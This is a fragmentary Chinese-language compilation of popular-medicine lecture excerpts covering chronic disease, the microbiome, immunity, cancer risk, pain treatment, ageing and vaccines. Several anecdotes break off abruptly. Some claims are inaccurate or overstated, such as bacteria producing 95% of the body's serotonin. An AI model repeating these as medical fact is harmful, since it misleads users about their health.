　　这个时候，人体就会启动代偿机制，让深层的干细胞加速分裂，赶紧补充死亡的细胞。这样就防止发生严重的穿孔、出血。

　　所以，人体的代偿能够让器官在持续损伤的状态下，基本上能够满足功能，也就是凑合着用，所以才不会出现明显的症状。

　　只有到了疾病晚期，代偿不动或者超过极限了，症状才会出现。

　　代偿是人体不得已而为之的机制，是妥协。

　　代偿的最终目的是保证器官的基本功能，也就是为了保命。

　　所有的慢性病，人体都会启动代偿。

　　代偿是人类一种伟大的保命机制。

　　这种机制让我们在没办法去除持续损伤因素的情况下，先妥协着活下来。

　　这本身是有利的一面，但是另一面，也掩盖了病情。

　　第一个建议：既然很多慢性病在早期没有症状，我们就要主动筛查。

　　这点不容置疑。

　　现在有种错误观点，认为病不知道最好，知道了反而死得更快。这非常愚昧。

　　2018 年，美国癌症的总体死亡率，比历史上死亡率最高的 1991 年下降了 27%。下降的这 27%，就相当于挽救了 262 万条生命。

　　研究者认为，之所以有如此惊人的成就，其中重要的一项因素就是开展了癌症的早期筛查。

　　比如结肠癌、直肠癌的发病率下降，主要原因就是推广结肠镜检查。

　　从 2000 年到 2015 年，美国 50 岁以上的成年人接受结肠镜检查的比例从 21%升高到了 60%。

　　所以，第一个建议就是主动筛查。

　　第二个建议：从源头上预防或者从中间环节阻断，可以有效防止慢病的发展。

　　比如宫颈癌。

　　绝大多数是 HPV 病毒感染，先引起慢性炎症，然后到不典型增生，最后才发展成宫颈癌。

　　所以，接种宫颈癌疫苗是从源头上预防 HPV 感染。

　　对于已经发生感染的，在不同的阶段进行针对性的治疗，就是阻断中间环节，避免最终发展成癌症。

　　这就是关于慢病预防和治疗的第二个建议。

　　但是，很多病我们很难从源头上预防，也很难完全阻断。

　　比如冠心病。

　　尽管我们严格控制血压、血糖、血脂、不吸烟，但是还是有相当比例的人群得了冠心病。而且尽管严格用药，也会有相当比例病人的病情依然在进展。

　　第三个建议：巧妙地放大代偿机制。

　　什么叫放大代偿机制呢？

　　我刚才讲了，冠心病是有血管狭窄了。那么，狭窄血管周围的小血管就会变粗、变长，甚至产生新血管，代替那些狭窄的血管完成供血任务。这是代偿。

　　放大代偿，就是主动帮助小血管长出来。

　　比如，在医生的指导下，通过适度运动就可以帮助形成这些小血管。

　　病人以后再犯心绞痛或者心肌梗死的可能性，就大大降低了。

  1. 代偿是人体面对持续损伤的一种妥协机制。
  2. 代偿让器官满足基本功能，却掩盖了症状。
  3. 针对慢病，我们可以主动筛查，阻断发病环节，放大代偿。

　　最新研究表明，健康人的血液里有细菌、眼睛表面有细菌、女生的输卵管、子宫和盆腔里都有细菌。

　　甚至在以前咱们认为绝对无菌的大脑里，现在也发现了细菌。而且这些细菌并没有影响到人的健康。

　　情侣间一次接吻就可以交换 8000 万个口腔细菌。

　　5-羟色胺是让人产生快乐的物质。但是你一定想不到，人体自身合成的 5-羟色胺只占总量的 5%，另外 95%是由细菌合成的。

　　七成以上的免疫细胞集中在肠道，包括巨噬细胞、T 细胞、NK 细胞、B 细胞；还有七成以上的免疫球蛋白 A（IgA）是由肠道制造的。

　　关于阿尔茨海默症，也就是老年痴呆症病人的研究表明，在这些病人的大脑里，发现了牙周炎的细菌和一些引起口腔溃疡的白色念珠菌。

　　女生用含有杀菌剂的洗液冲洗阴道，那么接下来反而会引起真菌感染，引起真菌性阴道炎。

　　在我工作的 ICU，因为严重感染必须大剂量应用抗生素的病人，就很容易继发耐药菌的细菌感染或者深部真菌感染。

　　这些感染很难治，这就是异常微生物入侵引起的。

　　大脑细胞完成信号传递功能，涉及到主要 20 多种化学物质，这些化学物质中很多都是由肠道细菌参与合成的。

　　如果肠道菌群紊乱，就会引起精神问题，比如焦虑、抑郁、自闭症等等。

　　第一个建议：少用抗生素。

　　如果不是严重的或者关键部位的细菌感染，就少用抗生素。能不用最好不用，如果必须用，也要到医院咨询完医生再用。

　　因为抗生素是对内共生破坏最大的药物。

　　健康人不要动不动就用含杀菌剂的任何洗液或者漱口水。细菌没惹你没捣乱，你也别去主动攻击细菌，它和你不是敌人。

　　第二个建议：别太干净。

　　有个著名的卫生假说认为，孩子的成长过程别太干净，要让孩子多和大自然接触，多和宠物接触。

　　孩子从小多和微生物接触，就可以培养出多样性和稳定性更好的肠道菌群。长大以后免疫力反而更健全，更不容易过敏。

　　产妇能顺产就不要剖腹产。现在研究认为，经过女性产道的婴儿可以迅速建立起第一道多样性更好的肠道菌群。

　　第三个建议：多吃膳食纤维丰富的食物。

　　比如苹果、梨、魔芋、黑麦、黄豆、青豆、枸杞、石榴、椰子、冬菇。

　　你会不会认为芹菜是含膳食纤维很高的食物？其实它的膳食纤维含量并不高，充其量在蔬菜里算中等而已。

　　不仅要多吃膳食纤维，还要少吃糖。

　　你知道糖可以让人变胖，但原因是什么呢？

　　研究发现，糖阻止了拟杆菌的定值。拟杆菌就是让你变瘦的“瘦菌”。

　　在我看来，目前所有的研究也只能反应内共生与疾病关系的冰山一角， 但是毫无疑问，内共生给咱们认知疾病和治疗疾病提供了新思路。

　　1971 年，美国男孩大卫（David）出生了。

　　但是，他和别的孩子都不一样，他没有免疫力。我们把这种病叫做联合重症免疫缺陷病（SCID）。

　　所以，大卫出生后 20 秒，就被医生放在一个绝对无菌的透明泡泡里。他只能在这个泡泡里吃饭、睡觉、玩玩具、学习。

　　他经常把手贴在泡泡上，和妈妈的手隔着泡泡贴在一起，感受妈妈的温度。他的小嘴隔着泡泡亲妈妈的脸。

　　他不能出去，因为离开这个泡泡他就会死。人类世界所有的物品对他来说都是危险。

　　人们把他叫做“泡泡男孩”，把这个病叫做“泡泡男孩病”。

　　但是，生活在泡泡里不是长久之计。

　　大卫到了 12 岁的时候，大卫和他的父母还有医生决定，冒险给他做骨髓移植，把姐姐的骨髓移植给他，希望可以帮助大卫重建人体免疫。

　　这个故事的结局咱们非常不想听到。

　　手术失败了，大卫还是没能产生免疫力，还是几乎接近零免疫。

　　更不幸的是，姐姐骨髓里有种病毒随着移植的骨髓进入了大卫的身体。

　　这种病毒对免疫正常的孩子没有影响，但是却要了大卫的命。骨髓移植 15 天后，他离开了人世。

　　临死前，医生们把大卫从泡泡里抱了出来。这个生命完全不设防的孩子接受了妈妈第一次，也是最后一次的亲吻。

　　有专家说过，当你遇到解释不通的临床问题时，就想想会不会是自身免疫出了问题。

　　虽然每个人生下来免疫力就是有差别的，这点很难改变。

　　但是，绝大多数人的人体免疫是正常的，所以不必担心。

　　那么，咱们能做的就是避免各种可以损害人体免疫的生活方式，比如熬夜、烟酒过度、精神压力、偏食等等。

　　没有任何能够快速增加免疫力的食品或者保健品。

　　第三：正确看待感染性疾病，尤其是不严重的感染性疾病。

　　在《第二讲 疾病与人终生相伴》里咱们讲到了疾病也有价值，感染的价值在于让人锻炼出日渐强大的人体免疫。

　　从整个物种进化的角度看，有些免疫可以传承。从个体角度看，生长的过程也是一个免疫逐步强大的过程。

　　每一次不严重的感染，病原微生物都可以激发和锻炼咱们的人体免疫。

　　只有让人体免疫见多识广，见过无数敌人，锻炼出各种本事，才是真的增强免疫。

　　1997 年，我有两个最要好的同学大学毕业了，一起分配到了北京，在同一个大医院当了医生。

　　他们是恋人，后来结婚了。

　　那个时候还没有朋友圈，所以聚会的时候，我们特别喜欢看他俩的照片。有的是一起在森林里嬉戏，有的是一起坐在绿地上学习，有的是一起参加医院的集体活动。

　　生活就是这么幸福，每个人都羡慕他们。

　　2003 年，“非典”来了。

　　这个女生在工作中感染了最严重的“非典”病毒，也就是传染性最强、致死性最强的那一种，很多感染的病人都没能抢救过来。

　　后来，她的病越来越重。

　　为了留住她，在抢救她的时候，她的爱人也就是我的这个男同学，摘下了自己的口罩，给她做口对口人工呼吸。泪水顺着他的脸流到了女生的脸上。

　　但是，最终这个女生还是走了。

　　所有人都担心，我这个男同学一定也会被感染。因为当时的病毒传染性太强了，这么口对口人工呼吸，他不可能幸免。

　　可是结果并没有。这个男生连发烧、咳嗽没有。

  1. 零免疫意味着疾病和死亡。
  2. 人体免疫认不出“坏人”，把“好人”当“坏人”，认出来但是打不过“坏人”，是发病的三个原因。
  3. 通过打疫苗，保护内共生，得小病，可以提高免疫力。

　　你可能知道神探福尔摩斯的原型，就是英国爱丁堡大学的外科医生，塑造福尔摩斯的作者，同样也是医生。

　　他去参加同学聚会，聚会结束之后被送到医院，发现全身很多器官都衰竭了。肝衰竭、肾衰竭，而且已经发生了脑死亡，但是肺还好。

  1. 诊断是一个提出假设，收集证据，验证假设的不断循环。
  2. 高手必须具备三个能力：一定的知识储备，始终保持开放的思维，发现和利用反常疑点的能力。

　　而且正畸还可以预防牙周疾病，可以降低癌症、糖尿病、中风以及冠心病的发病率。

  1. 任何治疗的核心问题都是先定目标，然后围绕目标开展治疗。
  2. 治疗目标必须基于患者需求。
  3. 治疗的本质就是用客观的、可量化的医学目标去匹配患者需求。治疗的过程是医学目标与患者需求互动的过程。

　　开始之前，我先给你讲个小故事。

　　病人肚子疼到医院看病，医生检查完之后说，“你先躺着，等我一会儿”。

　　病人躺下等医生，左等不来右等不来。于是他坐起来，发现医生正在上网搜“肚子疼怎么治？” 。

　　病人“噌”一下子从床上跳下来，一溜烟就跑了。

　　当然了这是个笑话。

　　但是，医生查资料给病人看病可不稀奇，我还真遇见过。

　　制定指南用到的科学方法，叫做循证医学。

　　灵活运用指南，具体情况具体分析，又给指南带来了活力。

　　十几年前，我们收治了一个溺水的女大学生。

　　这个女生傍晚在学校游泳，被发现的时候已经仰着漂在水面上了。校医院的医生立刻给她做心外按压，气管插上管，一路按压着送到了医院。

　　校医院的医生按照指南按压，给这个病人争取了时间。如果只是干等着，等送到医院就算有再好的设备，做什么也都晚了。

　　这个女生送过来后，我们立刻抢救，但是太难了。

　　无论怎么按压，监护仪上始终连一个自主心跳的电信号都没有。她缺氧时间太长了，希望渺茫。

　　按照指南，我继续按压。

　　我的胳膊都压疼了，大颗大颗的汗从额头上滴下来，滴到她的身上。

　　这样坚持了十几分钟，不停地按压、给药、评估。

　　这个时候，监护仪上突然出现了几个微弱的电信号。

　　这些信虽然弱，虽然不是正常心脏起搏的信号，但是我知道一旦出现，就有可能是微弱的希望。

　　我继续按压。

　　我认为这几个电信号实在是来之不易，虽然弱，但这可能是偶然的机会。如果只按压，那么这偶然的信号可能还会消失，所以我要放大这个信号。

　　我在按压的同时，立刻让护士给她用提升心率的药。效果特别好，她的心跳快速地提了上来。

　　但是，这种心律仍然是一种紊乱心律，可能是昙花一现，很快就会消失，同时也不能产生有效的血压。

　　这个时候怎么办？

　　是先升血压呢？还是先维持这种紊乱的心律呢？或者是用药物纠正这个心律呢？

　　这些指南上没有。

　　我判断，只有先把血压提起来，才可能让缺血的心脏给自身供上血，下一步就有可能会恢复正常心律。

　　但是这个操作指南上也没有。

　　我立刻让护士给病人注射了升压药。她的血压快速上升，但是维持不到一分钟，又迅速下降了。

　　接下来，必须持续升血压，这就需要快速建立一条深静脉通道。

　　我立刻换别的医生按压，我在他短暂的按压的间歇期间，从病人的锁骨下穿刺，将一根导管放进了连接右心房的大静脉，这样就可以持续注射升压药了。

　　接下来奇迹出现了，这颗已经停跳了不知道多久的心脏，终于恢复了正常心律。

　　如果不能提高认知水平，好药也可以害人。

　　比如，现在治疗麻风病结节性红斑，还有多发性骨髓瘤这两种疑难病有一种药，叫做沙利度胺，也叫反应停。

　　但是，这个药在几十年前就是臭名远扬的“魔鬼”。

　　它曾经造成了全球 15000 多名孩子畸形，造成的流产、早产、死胎更是不计其数。

　　这些畸形婴儿的胳膊、腿都很短，手和脚直接长在躯干上，就像海豹一样。所以也被称为“海豹儿”。

  1. 药是医学解决方案的物质载体，它背后是整个医学认知体系。
  2. 认知越来越深入，是增加有效性，降低不良反应的核心。
  1. 医疗服务要解决两个问题：服务质量、服务效率。
  2. 医院高度分工协作，才能汇聚前沿技术解决难题。
  3. 医院让能量高效匹配利用，让信息充分流动传承。医院是医疗服务高质、高效的组织形式。

　　根据最新研究显示，口腔健康与心血管疾病、糖尿病、肝病等多种疾病有关，尤其是心血管疾病。

　　每天多刷一次牙，心血管疾病的风险可以降低 9%。定期看牙医并且进行专业牙齿清洁的人，心血管疾病的风险降低 14%。保持口腔清洁，还有利于预防老年痴呆症。

　　所以，现在认真刷牙，不仅是为了口腔清洁和不得牙病，而且在几十年后还能带来更大效益，只是当下没有感受到而已。

　　有人认为补碘补得这些年甲状腺癌高发了。

　　那么，事实呢？

　　我可以告诉你，并不是甲状腺癌高发了，而是检测手段灵敏了，也就是发现的多了。

　　补碘和甲状腺癌并没有明确的相关性。

　　中国 75%的地区属于缺碘地区，一旦停止含碘盐，就会重蹈印度的覆辙。

　　印度就曾经停止推行含碘盐，导致碘缺乏病又重新出现，国家不得不恢复食盐加碘。这是前车之鉴。

　　1979 年，人类消灭天花。它是第一个在世上绝迹的人类传染病；

　　2010 年，全世界基本实现使用改良过的饮用水源；

　　2001 年-2013 年，全球艾滋病病毒感染新发病例减少了 38%；

　　2016 年，全球小儿麻痹症病例只剩 37 例，相比 1988 年的 35 万例，减少了 99%。

  1. 公共卫生利用公共管理机制，保证最大多数人的利益。
  2. 建立公共卫生体系，付出过血的代价。
  3. 公共卫生三个特点：效益非即时显现，群体利益和个体风险的权衡，性价比最高。
  1. 癌症就像一辆“疯狂跑车”，它有六个环节：

　　（1）图纸错误。癌基因造出了癌细胞；

　　（2）自检体系失效。癌细胞赖着不死；

　　（3）癌细胞有丰富的血管和独特的能量利用系统；

　　（4）免疫逃逸，癌细胞躲过了警察；

　　（5）篡改里程，拒绝报废；

　　（6）导航错乱，同归于尽。

  1. 癌症的所有治疗，都是针对这 6 个环节。

　　如果把全世界国家按照癌症发病率排队，癌症发病率最高的都是环境非常好的欧美国家，中国连前几十名都挤不进去。

　　接下来，咱们就从近几年引起学术界广泛关注的一个研究讲起。

　　癌症最大的危险因素是随机错误

　　在上节课，我讲到了癌症最底层的原因就是“图纸”错了，这个错误的“图纸”就是基因突变。癌症必须先有基因突变，这点是共识。

　　2017 年《科学》（Science）杂志发表了一篇研究。他们对常见的 32 种癌症的基因突变，进行了风险因素的分析。

　　结果出人意料，癌症基因突变最大的危险因素不是环境也不是遗传，而是随机错误。

　　听到这，是不是彻底颠覆了你的常识呢？

　　这篇研究结果一出，在学术界就引起了巨大的争论。下面，我来解读一下这个研究结果。

　　这个研究认为，引起癌症基因突变的因素中，最主要原因是染色体复制过程中发生的随机错误，这个因素占到了 66%。而环境因素和遗传因素，加一起也只占 34%。

　　没想到吧？

　　咱们原以为没有癌症家族史，不抽烟、不喝酒、不熬夜、不泡吧、不吃污染的食物、不着急不生气，就可以远离癌症。

　　现在看来，这些因素和癌症有关系，但是却没你想的那么大。真正的危险是随机错误。

　　比如骨癌的基因突变：随机错误占了 99.5%，遗传占 0.5%，与环境因素完全无关。

　　再比如，这几年国内高发的甲状腺癌，随机错误占 98%，遗传占 1.5%，环境因素仅占微不足道的 0.5%。有些人说碘盐引起了甲状腺癌，是不对的。

　　还有非何杰金氏淋巴瘤、脑部肿瘤、前列腺癌、睾丸癌，这些癌症的基因突变中，随机因素都占到了 95%以上。

　　什么意思呢？

　　即便我们没有环境污染，没有不良嗜好，生活方式非常健康，这几种癌症还是有很大可能发生。

　　甚至有人说，癌症的基因突变就像“上帝掷色子”，是运气不好。你听起来是不是有种凉飕飕的宿命论的感觉呢？

　　细胞分裂次数越多，癌基因发生的几率也就越大。

　　细胞的每一次分裂都带来了基因突变，每次突变都有变成癌基因的机会。这个几率虽然极低，但并不是零。

　　从这个角度来看，我们生命中的每个时刻都处在患癌的风险中，生命就是一种癌前状态。

　　年龄越大，细胞分裂次数也就越多，癌症发生风险也就越来越高。

　　数据显示，40 岁以上的人患癌症的风险呈指数倍增长。如果人的寿命达到 85 岁，累计癌症发生风险高达 36%。

　　最近，《科学》（Science）杂志上的一篇研究指出，中年人食管的上皮细胞，尽管在显微镜下看起来形态和正常细胞一模一样，但是进行基因分析发现，已经有一半以上的细胞都发生了和癌症相关的基因突变。

　　所以，年龄才是引起癌症最大的风险因素。

　　咱们再回到最开始提的问题：为什么这些年，癌症突然就多了？

　　主要原因并不是因为环境污染，也不是因为食物和工作压力大。而是我们的生活条件好了，医疗条件好了，人的寿命延长了。

　　细胞分裂次数多了，基因的随机错误也就越来越多。累积下来，最终带来了癌症的基因突变，所以癌症高发了。

　　在过去的 100 年里，人类的平均寿命增长了 30 岁。发达国家人均寿命更长，所以癌症的发生率更高。

　　只要活得足够长，每个人都会得癌症。癌症是长寿必须付出的代价。

　　癌症就像时间的老朋友，如果咱们越来越长寿，那么这个老朋友说不定哪天就会登门造访了。

　　要想不得癌症，只有一个办法，那就是早死。

　　降低患癌风险的科学建议包括：

　　戒烟、戒酒、减肥、多运动、多吃全谷物食品、蔬菜、水果、豆类，少吃糖、少吃红肉（比如猪肉、牛肉、羊肉），这是改变生活方式。

　　避免乙肝病毒、丙肝病毒、幽门螺旋杆菌、HPV 病毒感染。已经感染了，要治疗或者定期复查。

  1. 引起癌症最大的危险因素是年龄，年龄越大，患癌风险越大。
  2. 细胞分裂会带来基因突变，生命就是一种癌前状态。
  3. 既然年龄因素无法改变，通过避免其他危险因素，仍然可以减少相当比例的癌症发病。

　　冠心病可能不只是心脏一个器官的血管出问题了。

　　有了冠心病的病人，很可能也容易发生脑血管病，或者其他动脉缺血引起的病。因为，人本来就是一个整体。

　　人类寿命延长，不健康的生活方式，比如吸烟、饮酒，还有高血压、高血脂、糖尿病、肥胖等等，这些因素都对冠状动脉构成了压力。

　　所以，这些才是冠心病的主要危险因素。

　　有一个运动改善冠心病的典型病例。

　　18 世纪的时候，有医生带着冠心病患者到森林里锯木头，每天持续 30 分钟到 1 小时，3、4 个月后患者的心脏不疼了。这就是运动的效果。

　　支架是单点突破，它的基础必须是全身治疗，也就是改变生活方式加用药。

　　用心脏外科医生的话说，心脏搭桥，换上新血管，替代已经不能够完成工作的血管，也就是给病人再争取一个 20 年的机会，再继续好好改善生活方式，好好吃药。

  1. 冠心病的风险因素包括遗传、年龄、吸烟、高血糖、高血压、高血脂、肥胖等。
  2. 改变生活方式加药物，这种全身治疗是治疗冠心病的根本。
  3. 介入手术和搭桥手术在关键或者病变严重的时候可以救命。

　　美国著名的心脏病学家弗里德曼（M. Friedman）和罗森曼（R. H. Roseman）在上个世纪五十年代提出，人类的性格有 A 类性格与 B 类性格之分。

　　A 类性格，表现为：

　　有雄心壮志，喜欢竞争，苛求自己，渴望出人头地；以事业成败作为人生评价的唯一标准；性情急躁，缺乏耐心，容易激动；有时间紧迫感，行动匆忙；下楼梯就一直抱怨电梯慢，恨不得自己跑下去；好斗，对人有敌意，看谁都是敌人。

　　这种 A 型性格的人，容易患高血压、冠心病等心身疾病。

　　B 型性格的人和 A 型截然相反，表现为：

　　谦逊谨慎，不自以为是；做事有条理，游刃有余；足够自信，但不在别人面前自夸，也不迫切需求别人的肯定和赞赏；不轻易反对和敌视他人；心态平和，不为外界事物所扰乱；主动调节心态，不偏执，不自虐。

　　而临床医学的研究证明，和 A 型性格的人相比，B 型性格的人更少患心脏病，并且更长寿。

　　还有一类人，性格特征又不同了，表现为：

　　内向；喜欢谁不喜欢谁，自己心里知道就是不说；压抑自己的情绪，过分忍让，回避矛盾；遇到不公，怒而不发；憋着，爱生闷气。

　　我们称这类性格为 C 型性格。这类人容易发生肿瘤，所以也被称为“肿瘤性格”。

　　这个病例是我听国内一位男科医生讲到的，很有代表性。

　　很多年前，这个医生遇到过一个病人，他是个副县长。

　　在计划生育年代，主管计划生育的男领导都会带头做输精管结扎，但是这个副县长做完结扎就阳痿了。

　　我们知道，输精管结扎只是让精子无法进入精液，不会影响雄激素合成和分泌，不会影响性功能。

　　这个病肯定是想出来的，这是心身疾病。

　　所有的医生都对他说：“这不可能让你阳痿，你这是心理问题，回去吧。要么就吃点帮助勃起的药。”但是，他始终都没治好。

　　听完病人痛苦的描述后，这个男科医生就说：“输精管我给你接上，阳痿立刻好。”

　　然后给他安排手术。消毒，轻轻划上一道伤口，又缝上。根本没有动输精管。

　　你猜怎么着？

　　手术后，病人的阳痿治愈了。

　　根据统计，心身疾病的发病率女性高于男性，城市高于农村，脑力劳动者高于体力劳动者，发达地区高于不发达地区。

  1. 心身疾病的三个环节：应激，心理变化，躯体疾病。
  2. 不同性格的人，心身疾病发病风险不同，容易发生的病也不同。
  3. 治疗应该心、身同治。

　　医源性损害的定义是：由于医疗人员的言谈、操作行为不慎以及医疗相关操作的副作用，而造成患者生理或心理上的损伤。

　　医疗事故是第一类医源性损害，最容易出现在手术或者操作环节。它又分为技术事故和责任事故。

　　技术事故是医务人员的技术水平不高，诊疗经验不足，并没有主观故意违反操作规程。

　　责任事故，就是医生个人的责任心问题了。

　　今天的医疗事故，大多数情况下，是因为技术上的缺陷而导致的问题。

　　不论是个人技术问题还是责任心问题，个人出问题，一定能找到系统原因和漏洞。

　　所以，用流程和制度可以很大程度上避免个人差错，降低风险。

　　比如，在以前医生开药用手写。先别说医生的天书普通人看不懂，就连抓药的人也容易看错。万一小数点看错 1 位，就等于剂量错了 10 倍。

　　现在开药必须用 HIS 系统（Hospital Information System），电脑会自动审核。

　　如果人为开错了药，就根本通不过系统，也就发不出来药，就是闭着眼也开不错。这也是用制度避免个人错误。

　　再比如，以前配药都是护士在病房操作。在忙乱的情况下由于个人疏忽可能配错药，或者无菌操作不严格造成液体污染，给病人带来伤害。

　　今天，很多大医院开展了 PIVAS（Pharmacy Intravenous Admixture Services），也叫静脉用药配置中心。

　　因为这个手术给病人造成了伤害，它属于医疗局限性的代价。这是第二类医源性损害。

　　你一定记得 2005 年春晚，那个震撼了数亿观众的舞蹈：千手观音。

　　除了舞姿优美，震撼观众的另一个原因是，这 21 个舞蹈演员全部都是聋哑人。

　　我想说的是，这 21 个演员里，有 18 个是因为药物导致的耳聋。这也是医源性损害。

　　她们小时候因为发烧，医生给她们使用链霉素、庆大霉素这一类被称为氨基糖甙类的药物，因为药物副作用导致耳聋。

  1. 医源性损害分为两种：医疗事故和医疗局限性的代价。
  2. 通过制度可以减少事故的发生。
  3. 更多的医源性损害是医疗局限性的代价，要通过整体认知水平提高来降低。

　　2017 年 8 月份，在陕西省，有个孕妇因为生孩子太疼了，多次向家人要求让自己剖宫产，而且医生也强烈建议赶紧手术。但是都被家属拒绝了。

　　家属认为，自己生最好，女人生孩子哪儿有不疼的？

　　最终，这个孕妇因为疼，跳楼了。这个病例就是疼痛带来的悲剧。

　　第二个病例和这个病例截然相反。

　　二战期间，美国军医毕阙（Henry K. Beecher）到前线抢救伤员。你肯定能想象到战场上那种惨烈。

　　有的伤员被刺刀挑破了肚子，有的被弹片打穿了胸腔，有的大腿骨折，有的大面积烧伤，有的甚至颅骨粉碎。

　　通常，医生在明确了损伤原因之后，会立刻给伤员注射吗啡。否则，人可能疼死。

　　但是，毕阙医生没想到的是，当他准备给这些伤员打针的时候，大部分的伤员都说：“大夫，我不疼，别给我打针。”

　　这就怪了。他们明明受伤非常严重，为什么他们反映出来的疼，却和咱们认为的疼，相差这么远呢？

　　因为，不同的人在不同环境下，疼痛体验是不同的。

　　尽管受到伤是客观的，但是疼痛却不客观，疼痛的程度是主观感受。

　　医学上有一种罕见病——先天性无痛症。这些人生下来就不知道疼是什么感觉。也就不知道躲。

　　有病例报道，在美国的明尼苏达州有个孩子，她长牙以后，和别的小孩一样喜欢啃手指。但是，如果没有人阻止的话，她会把自己的手啃得血肉模糊，甚至露出骨头。

　　后来到医院检查发现，她得的就是罕见的先天性无痛症。

　　所以，有痛觉该是件幸福的事。但是，疼久了就不一样。

　　首先，持续的疼痛会影响病人的生存质量。

　　身体的多个系统，比如神经系统、消化系统，内分泌系统、循环系统、免疫系统都会相继出现功能紊乱。

　　其次，持续的疼痛还会严重影响病人的心理。

　　病人会出现自卑、绝望、焦虑、抑郁等不良的情绪反应。尤其是癌症引起的疼痛，很多病人还会出现自杀甚至危害社会的行为。

　　疼久了，还会促进神经系统发生病理性重构。

　　也就是说，痛觉通路异常了，疼痛的感觉乱了。没刺激，也会疼。

　　举个例子。

　　有些长期腿疼的病人，神经通路就会发生病理性重构。截肢以后，病人仍然会感觉到腿疼。我们把这种现象称为幻肢痛，也就是幻想出来的疼。

　　怎么科学地对待疼痛呢？我给你两条建议：

　　第一个建议是，改变观念。

　　很多人有个错误的观念，认为有了病，就应该痛。

　　所谓“病痛”，从古至今，中国人就是把病和痛联系在一起的。尤其是癌症。

　　我会诊过一个肝癌晚期，已经全身转移的病人。她说：“太疼了，生不如死，大夫我求求你，能不能让我赶紧死。”

　　这个时候，止疼就成了她最重要的治疗。

　　后来她用上了止疼药。先口服，之后又换上注射。最后她走的时候，是安详地离开的。

　　还有一种常见的错误观念，就是认为止疼药会上瘾，所以强忍疼痛。

　　其实，在疾病严重的时候，止疼药物上瘾的可能性极低。

　　美国国立卫生研究院指出，癌症病人吗啡药物上瘾的比例低于 1％。

　　所以，世界卫生组织强调：对于医疗上需要使用吗啡的病人，应该满足需要。在这一点上，咱们远远没有达到世界水平。

　　第二个建议是，科学治疗疼痛。

　　当然，前提是必须首先确诊。在确诊之前，盲目用止疼药可能会掩盖病情。

　　一旦明确病情之后，所有的疼都不需要忍。免除疼痛是人类的基本权利。

　　国际疼痛学会（International Association for the Study of Pain）把每年的 10 月 11 日定为“全球征服疼痛日”。就是为了唤起全世界的人，对于止疼的重视。

　　免除疼痛不只一种人道主义的关怀，止疼更是一门专业的学科。

　　这个学科专门研究疼痛的病理生理机制，还有科学止疼的方法。他们用药物、手术，可以有效地去除绝大部分的疼痛。

  1. 疼痛是一种主观体验，具有客观的神经传导通路。
  2. 急性疼痛是症状，慢性疼痛是病。
  3. 我们必须转变观念，疼痛不能忍，需要科学治疗。

　　根据已有的研究结果，最靠谱的结论是：人类寿命的极限是 120 岁。

　　有三个证据。

　　首先，人类历史上有证可考的最长寿人士，是一名法国女性，享年 122 岁。

　　其次，法国博物学家布丰（Georges Louis Leclere de Buffon）得出一个结论：物种寿命是生长期的 5-7 倍左右。

　　人类的生长期基本就到 18 岁，按照最高 7 倍推算，18 乘以 7 等于 126 岁，与 120 岁接近。

　　另外，美国著名科学家海夫利克（Leonard Hayflick）发现，人类一生中细胞平均分裂次数为 50 次，每一次分裂产生的新细胞平均存活 2.4 年，50 乘以 2.4 也等于 120 岁。

　　所以，如果没病、没灾、没意外，理论上人就有可能活到 120 岁。这是人类寿命的极限。

　　年龄大小可以在一定程度上反映衰老的程度。但是衰老的本质，却不是年龄大。

　　衰老的第一个层面：基因损伤。

　　在前面的课程里讲过，很多因素会引起基因突变，基因突变就是一种损伤。

　　比如，细胞分裂的时候会有突变，接触紫外线、化学物质，人体产生的自由基也会引起基因损伤。

　　随着年龄增长，这些损伤就会逐步累积和叠加。如果这种基因突变发生在关键位点上，就会变成癌症基因。

　　从这个角度看，癌症就是衰老的一种表现形式。

　　基因损伤的累积越来越多，就像染色体长满了伤疤一样，就会影响细胞的功能。

　　衰老的第二个层面：细胞功能异常。

　　细胞功能异常会表现为很多方面：

　　比如，内分泌腺体分泌激素越来越少。女性雌激素水平下降，就会引起皮肤弹性下降、皮肤干燥、月经紊乱和骨质疏松。

　　再比如，细胞利用营养物质的能力也会下降。会出现糖尿病、高血脂。所以，这类病人并不完全是营养物质摄入过多，同时还有利用障碍。

　　另外，人体还会产生很多衰老细胞和有害的蛋白质，短时间内清除不掉。

　　比如，阿尔茨海默症病人的大脑里面，会沉积很多淀粉样蛋白和衰老细胞。

　　这些物质不仅“占着地方不干活”，还会引发慢性炎症反应，进一步加速阿尔茨海默症的发展。

　　无论是激素水平下降，利用营养物质的能力下降，还是清除衰老物质的能力下降，这些都是细胞功能下降的表现。

　　但是我们说过，人体可以自我修复。

　　刚才提到的 103 岁的老人，得了重症肺炎却能很快痊愈，靠的就是自我修复。

　　衰老的第三个层面：只有自我修复能力下降了，才是真的衰。

　　我们看看人体有哪些自我修复能力。

　　比如，基因损伤可以自我修复。

　　比如，深度睡眠的时候，大脑神经胶质细胞的体积可以缩小 60%。就是为了给大脑内的液体留出空间，加快液体循环，清除衰老物质。这也是自我修复。

　　再比如，细胞损伤或者死亡之后，人体的干细胞会加快分裂，补充坏死的细胞。这还是自我修复。

　　只有自我修复能力下降了，它没办法修复基因损伤，没办法恢复细胞功能的时候，才是真的衰了。

　　所以，衰老的本质不是年龄，而是自我修复能力的下降。

　　心理学家把人的智力分成晶体智力和流体智力。

　　晶体智力是后天获得的认知能力。

　　比如学会的某种技能、语言文字能力、判断力、联想力等等。晶体智力不会随着年龄下降。

　　流体智力是一种先天的能力。

　　比如记忆力、运算速度、推理能力等。这种智力是有生理基础的，所以，它在 30 岁以后会逐步下降。

  1. 衰老的本质不是年龄增长。
  2. 衰老的机理分为三个层面：基因损伤，细胞功能异常，自我修复能力下降。自我修复能力下降是衰老的本质。
  3. 运动、节食、戒烟限酒，有助于延缓衰老。

　　巴斯德从感染了狂犬病的兔子身上取出一段脊髓，这段脊髓里有致死性的病毒。他把这段脊髓挂在无菌烧瓶中干燥，病毒的毒力就降低了。

　　然后，他把这段干燥的脊髓研成末，和蒸馏水混合在一起，注射到狗的身上。他发现这些狗不仅没死，而且神奇地产生了对于狂犬病病毒的免疫力。

  1. 疫苗的工作原理：用生小病来预防大病；不得病也能防病；疫苗在未来还可以治病。
  2. 疫苗安全源于原理，安全源于设计，安全源于覆盖。
  3. 虽然疫苗永远做不到 100%安全，但是可以越来越安全。

　　肿瘤病人的用药，经过血液稀释，人体代谢之后，能达到癌症组织的药物浓度就低了很多。

　　如果加大药量，药物浓度增加的同时，不良反应也会增加。

　　肿瘤科的医生就开发出介入治疗。

　　也就是把导管直接放置到供应肿瘤组织的那根血管里。局部给药，既增加了药效，还降低了化疗药物的不良反应。

